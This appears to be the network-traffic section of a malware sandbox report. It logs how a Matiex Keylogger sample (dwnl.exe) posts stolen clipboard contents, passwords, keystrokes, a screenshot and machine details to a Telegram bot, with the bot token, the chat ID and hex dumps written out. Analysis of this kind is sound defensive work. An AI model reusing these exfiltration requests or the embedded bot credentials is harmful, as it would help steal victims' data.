((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:10 UTC	5606	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:10 UTC	5622	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:10 UTC	5638	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:10 UTC	5654	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: ^`y`[k:rZLz`\|uKa0rA5a`g&Jpl`{X96L8@/KaL!F5DqG}\|2B9%@-d;0-07ERF"Hd}wXXN1y$?M-)%9XNLWy!>ItC[(!Ox
2021-09-13 04:32:10 UTC	5670	OUT	Data Raw: df f8 c6 5c 28 91 3a ae 83 95 a9 35 48 7b 5b 91 f7 55 6f 7a 41 50 70 5d f7 cf 7f f1 bd 71 b9 bc d7 bf 93 af fa a6 24 8f 20 7f 4c ea 29 53 eb 05 fc 3b f3 c2 47 36 7d bf 0a 6b df 4d b4 b7 a0 db 42 0e ce ef f1 12 f0 82 6b 8d 14 64 f0 19 83 8a 2c 1b 24 1e bc 4f 1e f2 71 6d 7c af e5 c6 a7 0f 07 b4 1c fb ea e5 e4 85 41 52 8e bc 8a 08 1c 63 75 d1 f5 11 f9 2c 79 22 b1 ce 0e 5c ee d0 fc 76 79 c6 05 d7 8f c3 a4 1e c2 a4 62 25 87 0f 71 e5 53 29 55 0f 93 94 9b 62 e5 02 9e 56 58 39 73 60 fb de c2 e1 43 45 ee 49 d0 66 d7 0d c1 1c 13 7c ad d8 9b 44 4f 41 83 1a 40 82 84 6c b9 06 45 0e 56 87 16 4a e5 8e 02 79 b2 80 a6 11 1a d4 6c 98 24 d0 62 41 2d 80 41 30 63 4c 0e f6 c0 80 ca e2 05 e0 70 5f a6 79 f4 83 be b9 e8 00 72 5d b2 b2 64 66 8a 43 06 a9 08 97 78 23 d8 f4 08 4b df Data Ascii: \(:5H{[UozAPp]q$ L)S;G6}kMBkd,$Oqm\|ARcu,y"\vyb%qS)UbVX9s`CEIf\|DOA@lEVJyl$bA-A0cLp_yr]dfCx#K
2021-09-13 04:32:10 UTC	5686	OUT	Data Raw: 50 c6 9d ea 78 e1 67 21 e7 af 26 54 f0 15 d0 f3 34 3b 8f 0b d8 27 cd 83 f7 91 d5 18 01 d8 2a 01 69 99 63 ec 98 00 64 b1 51 0b 18 db 51 58 5c d8 c2 44 59 2c ae de 14 3a 1e 58 67 5c 60 cb a0 72 af 86 92 00 4c 24 e0 50 47 d6 76 1e 68 df da ef 37 59 af b1 b2 c8 34 13 2f c7 75 6b 80 e5 ad 4b 56 fe ae 08 c0 4c 2a 58 69 71 8e 3c 05 f8 e2 5e ca bc e0 4e 2f 3f f4 cf 3f 95 35 91 54 c3 df 5d b7 ff cd fe 61 20 fa 14 d5 1b 4e f7 0f eb f0 b3 c9 dc 76 e5 35 3e 01 36 ac 1b 9e 5a 8b 7f 77 77 b7 3c 45 a4 96 08 32 94 58 f2 20 07 91 61 f2 10 11 b9 6c b4 17 3c a9 d0 11 49 84 7f 50 96 c8 1b b9 84 73 29 a1 25 33 09 b3 ba bb 76 b8 cd 05 6b 32 db 4f c4 96 69 bf 3b 5e 00 75 91 7d 77 af fe be 74 3a 6b 4f d6 39 e4 5e 89 5e 42 85 cf 51 92 ca a5 bd 22 c6 1c 7d be db bb 93 f2 3d c5 07 Data Ascii: Pxg!&T4;'icdQQX\DY,:Xg\`rL$PGvh7Y4/ukKVLXiq<^N/??5T]a Nv5>6Zww<E2X al<IPs)%3vk2Oi;^u}wt:kO9^^BQ"}=
2021-09-13 04:32:10 UTC	5702	OUT	Data Raw: ba f3 bf 39 9b b8 79 e3 30 cd e7 f3 66 42 dd f9 1c 10 e3 a6 a3 6d 6e 5a ae f9 c6 eb d7 de 08 3e 37 29 6c 06 9b c4 66 9d 96 df 6c 6e 9a 90 fd 86 0e 1b 64 9a be 8c 41 ef 37 66 da 8d 3b cb af 2f fd 6e 36 01 1b 46 62 6c 1b 47 8c 71 d6 40 6a 4b ff 1a ac 6b 9e e3 b0 5e 6e 98 dd 48 4b 06 a6 4f 3f 52 e2 6f 22 fb 46 1d 7b 12 80 e6 4e 3a e3 a0 af 90 3e 29 c7 e6 be 11 5a 63 ec 2c 25 0f d0 05 b6 24 02 24 1b 80 7a fa fb 1a 7d 3d 6d 99 5f c5 67 8c e3 cb 18 6c f6 65 ff bd 2e 68 67 0d 6c cb 36 75 1a 7a c2 a5 f7 a5 9e 84 0e a0 2d d9 03 92 cc d1 66 5c 9f 83 4e 7c fa 80 79 59 27 49 20 da e6 f4 71 da 21 98 d4 91 22 6b e5 58 cd 37 5e bf 76 09 2b 24 b6 49 52 8f b8 d1 2e 71 a7 2d 75 c8 3b 74 81 cd 5f 09 96 d8 33 06 5d d2 0f 3d 73 8c 83 ec 9b fc 33 d1 b7 7d e2 8f b1 f3 94 62 f3 Data Ascii: 9y0fBmnZ>7)lflndA7f;/n6FblGq@jKk^nHKO?Ro"F{N:>)Zc,%$$z}=m_gle.hgl6uz-f\N\|yY'I q!"kX7^v+$IR.q-u;t_3]=s3}b
2021-09-13 04:32:10 UTC	5718	OUT	Data Raw: 6f f1 2b c0 09 93 7a dd e2 62 ed 45 fc 21 2f eb 02 4f 28 3a d2 be 90 40 bf 3a be 6a d3 5a e1 f5 af 7f fd f0 75 5f f7 75 c3 2d b7 dc 32 11 79 cf 7d ee 73 0f 22 01 89 21 96 1c 72 a9 41 ad 2a f6 2c 4c 24 52 41 00 ae 11 46 c4 3f fb d5 6f 98 08 a6 cd d3 3d 2b 04 e2 c6 3f 62 95 34 3b 90 ac 5a af 57 93 63 fb 73 2a b4 3a 53 6c 1c 4f ff 77 f9 f6 d6 90 b8 5b 89 dd 37 9e 45 3f 10 7f 8b 27 12 0f 3d 46 cf d9 89 00 3c e1 f6 01 e4 1e 4f f8 6d 3f 93 5b 60 bf 28 f9 07 9c 83 9d 77 a7 b9 77 5e 40 b2 9d f3 34 3a 70 11 44 9f e6 eb 79 83 e1 06 02 e9 06 63 8a 9b 37 1c 48 5e c6 81 69 01 9c 7d 00 df b4 1e 44 ad dc 10 ed ea c4 bb 29 1b d7 b3 d1 ee 26 ce 58 65 db 60 b5 18 6c c0 f6 8d 2f ff 37 3b 24 e0 8d 2f fa fe e1 23 fe e8 33 a7 cd 60 e6 42 18 de e9 73 ff c7 e1 c6 af fb 99 29 ce Data Ascii: o+zbE!/O(:@:jZu_u-2y}s"!rA,L$RAF?o=+?b4;ZWcs:SlOw[7E?'=F<Om?[`(ww^@4:pDyc7H^i}D)&Xe`l/7;$/#3`Bs)
2021-09-13 04:32:10 UTC	5729	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:10 GMT Content-Type: application/json Content-Length: 1315 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:10 UTC	5729	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 30 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":310,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507530,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49817	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:10 UTC	5730	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Clipboard%20Logger%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d97680377bc16b Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:10 UTC	5731	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 37 37 62 63 31 36 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 43 6c 69 70 62 6f 61 72 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 43 6c 69 70 62 6f 61 72 64 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d97680377bc16bContent-Disposition: form-data; name="document"; filename="MatiexClipboard.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Clipboard *\ \| System Information \| Comp
2021-09-13 04:32:11 UTC	5732	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:11 GMT Content-Type: application/json Content-Length: 562 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:11 UTC	5732	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 31 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":311,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507531,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49818	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:11 UTC	5732	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Passwords%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768037d195ad Host: api.telegram.org Content-Length: 833
2021-09-13 04:32:11 UTC	5733	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 37 64 31 39 35 61 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 50 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 2a 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 50 61 73 73 77 6f 72 64 73 20 2a 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 Data Ascii: --------------------------8d9768037d195adContent-Disposition: form-data; name="document"; filename="MatiexPasswords.txt"Content-Type: application/x-ms-dos-executable/* Matiex Keylogger - Recovered Passwords *\ \| System Information \| Comp
2021-09-13 04:32:11 UTC	5734	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:11 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:11 UTC	5734	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 31 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":312,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507531,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49819	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:11 UTC	5735	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768037f2f67a Host: api.telegram.org Content-Length: 749
2021-09-13 04:32:11 UTC	5735	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 37 66 32 66 36 37 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 61 74 69 65 78 4b 65 79 73 74 72 6f 6b 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 2f 20 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 20 2d 20 52 65 63 6f 76 65 72 65 64 20 6b 65 79 73 74 72 6f 6b 65 20 5c 0d 0a 20 0d 0a 0d 0a 7c 20 53 79 73 74 65 6d 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 7c 20 0d 0a 0d 0a 43 6f 6d 70 75 74 Data Ascii: --------------------------8d9768037f2f67aContent-Disposition: form-data; name="document"; filename="MatiexKeystroke.txt"Content-Type: application/x-ms-dos-executable/ Matiex Keylogger - Recovered keystroke \ \| System Information \| Comput
2021-09-13 04:32:11 UTC	5736	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 13 Sep 2021 04:32:11 GMT Content-Type: application/json Content-Length: 554 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-13 04:32:11 UTC	5736	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 37 30 39 36 33 31 33 36 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 54 4f 42 49 35 30 30 30 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 31 32 30 35 39 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 45 54 54 59 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 55 54 54 45 52 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 62 65 74 74 79 62 75 74 61 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 31 35 30 37 35 33 31 2c 22 64 6f Data Ascii: {"ok":true,"result":{"message_id":313,"from":{"id":1709631362,"is_bot":true,"first_name":"TOBI5000","username":"TOBI5000_bot"},"chat":{"id":1120598411,"first_name":"BETTY","last_name":"BUTTER","username":"bettybuta","type":"private"},"date":1631507531,"do

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49820	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:32:11 UTC	5737	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768038204317 Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:11 UTC	5737	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 38 32 30 34 33 31 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d9768038204317Content-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
